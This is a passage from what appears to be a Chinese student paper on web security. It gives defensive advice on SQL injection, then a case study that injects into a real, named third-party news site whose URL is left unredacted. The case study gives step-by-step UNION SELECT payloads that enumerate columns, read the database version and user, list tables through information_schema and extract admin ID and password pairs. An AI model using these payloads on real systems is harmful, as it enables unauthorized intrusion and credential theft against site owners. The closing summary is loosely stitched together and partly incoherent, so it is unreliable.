4、 多层环境如何防治SQL注入式攻击?

　　在多层应用环境中，用户输入的所有数据都应该在验证之后才能被允许进入到可信区域。未通过验证过程的数据应被数据库拒绝，并向上一层返回一个错误信息。实现多层验证。对无目的的恶意用户采取的预防措施，对坚定的攻击者可能无效。更好的做法是在用户界面和所有跨信任边界的后续点上验证输入。如在客户端应用程序中验证数据可以防止简单的脚本注入。但是，如果下一层认为其输入已通过验证，则任何可以绕过客户端的恶意用户就可以不受限制地访问系统。故对于多层应用环境，在防止注入式攻击的时候，需要各层一起努力，在客户端与数据库端都要采用相应的措施来防治SQL语句的注入式攻击。

　　5、 必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。

使用专业的漏洞扫描工具，可以帮助管理员来寻找可能被SQL注入式攻击的点。不过漏洞扫描工具只能发现攻击点，而不能够主动起到防御SQL注入攻击的作用。当然这个工具也经常被攻击者拿来使用，如攻击者可以利用这个工具自动搜索攻击目标并实施攻击。为此在必要的情况下，企业应当投资于一些专业的漏洞扫描工具。一个完善的漏洞扫描程序不同于网络扫描程序，它专门查找数据库中的SQL注入式漏洞。最新的漏洞扫描程序可以查找最新发现的漏洞。所以凭借专业的工具，可以帮助管理员发现SQL注入式漏洞，并提醒管理员采取积极的措施来预防SQL注入式攻击。如果攻击者能够发现的SQL注入式漏洞数据库管理员都发现了并采取了积极的措施堵住漏洞，那么攻击者也就无从下手了。

  5.4 MySQL表名注入案例分析

  数值型和字符型比较常见，再有就是搜索型和cookies型的了，遇到一棒子站存在表名注入，什么穿山甲呀，萝卜呀统统认不出来这个点（也可能是我没配好），不过确实是个注入点，只好手工搞了。 注入点（就不打码了）： http://www.unionpress.co.kr/news/print_paper.php?number=150683&news_article=news_article 加单引号报错如下： [caption id="attachment_1427" align="aligncenter" width="481" caption="表名注入"]

                          图 19 

[/caption] 由此可得知，这个脚本中至少执行了两次数据库操作。 第一条SQL：

select date from news_article where date_order >= 668740920 order by date_order limit 1

第二条SQL：

select * from news_article where number='150683'

由于SQL中存在where语句，所以若想从表名注入就得把后面的注释掉，这里使用“;--”。

order by 1;--

返回正常页面

order by 2;--

这个时候第一句SQL就报错了，原因你懂的，而且这里查询的字段名为“date”，根据我个人的数据库设计经验，通常这个字段不会是字符型，也就不利于后续进一步注入，果断不管它。

order by 20;--

正常（除了第一条SQL，后面就不提了）。

order by 50;--

报错（第二条）。

order by 40;--

正常

order by 45;--

报错

order by 43;--

报错

order by 42;--

正常 好了，现在可以确定第二条查询语句有42个字段，接下来用union。

where 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42;--

[caption id="attachment_1428" align="aligncenter" width="500" caption="表名注入"][/caption] 从返回的结果与正常页面对比来看，字段2，6，7，16都是字符型。 爆数据库版本，用户名，数据库名：

where 1=2 union select 1,user(),3,4,5,database(),version(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42;--

得到版本：5.0.90-log；用户名：upnews@61.97.139.36；数据库名：upnews 这就好办了，有information_schema可以用！ 爆表（0x75706e657773是upnews的十六进制）：

where 1=2 union select 1,2,3,4,5,(select group_concat(table_name) from (select table_name from information_schema.tables where table_schema=0x75706e657773 limit 0, 10) a),7,8,9,10,11,12,13,14,15,(select count(table_name) from information_schema.tables where table_schema=0x75706e657773),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42;--

由于第一次用group_concat()直接爆，发现爆出的表个数有误，而且出现表名截断现象，所以上面的爆表语句又使用了子查询，通过limit进行分页查询，每次只查出10张表名。 爆字段（0x6e6577735f61646d696e5f6d656d626572是news_admin_member的十六进制）：

where 1=2 union select 1,2,3,4,5,(select group_concat(column_name) from (select column_name from information_schema.columns where table_name=0x6e6577735f61646d696e5f6d656d626572) a),7,8,9,10,11,12,13,14,15,(select count(column_name) from information_schema.columns where table_name=0x6e6577735f61646d696e5f6d656d626572),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42;--

爆值：

where 1=2 union select 1,2,3,4,5,(select group_concat(concat(id,0x7c,pass)) from 

news_admin_member),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42;--

后面的，谁想干啥就干啥，可以看出来其实表名注入很像数值型注入，甚至比其它类型注入更好用，因为表名之后的SQL完全可以自由控制。

   

结束语：

本文主要对目录的网络安全技术进行了分析，随着网络的发展会有更多新的计算机的攻击方式和手段出现，也会有更多更新的防护技术手段出现，做好网络安全防护工作是计算机管理和应用的重要内容，配合高效的防火墙，能够很好地保障网络的安全，极大提高网络的运行效率。对入侵防御技术进行了分析设计。提出一种新的入侵防御系统，该系统数据处理系统可以较好地解决数据处理的性能问题,动态调整的负载均衡策略，较解决单点失效的问题,多台数据处理机 IDS 并行处理的体系可以较好的解决数据处理的性能问题，提高系统的防御性能。以及 Web 应用的安全现状，并对一些常见的漏洞进行分析。通过这个分析将 Web 应用面临的危害呈现出来，最后提出一些常用的防护措施及应急预案，sql注入的分析及一些防护措施。

三、参考文献

[8] 施玛 (Sima).黑客大曝光:Web 应用安全机密与解决方案[M].电子工业出版社, 2008.

[9]  白建坤.web服务安全架构研究[J].计算机应用。2005 25（11):2533-2535

[10] 郑理华. web 应用安全测试评估系统的研究与实现[D].长沙：国防科学技术大学，2005

[11] 蒋继娅，刘彤，王树威.web 应用中的sql注入攻击与防护案研究[J].计算机安全，2008，05:09-12.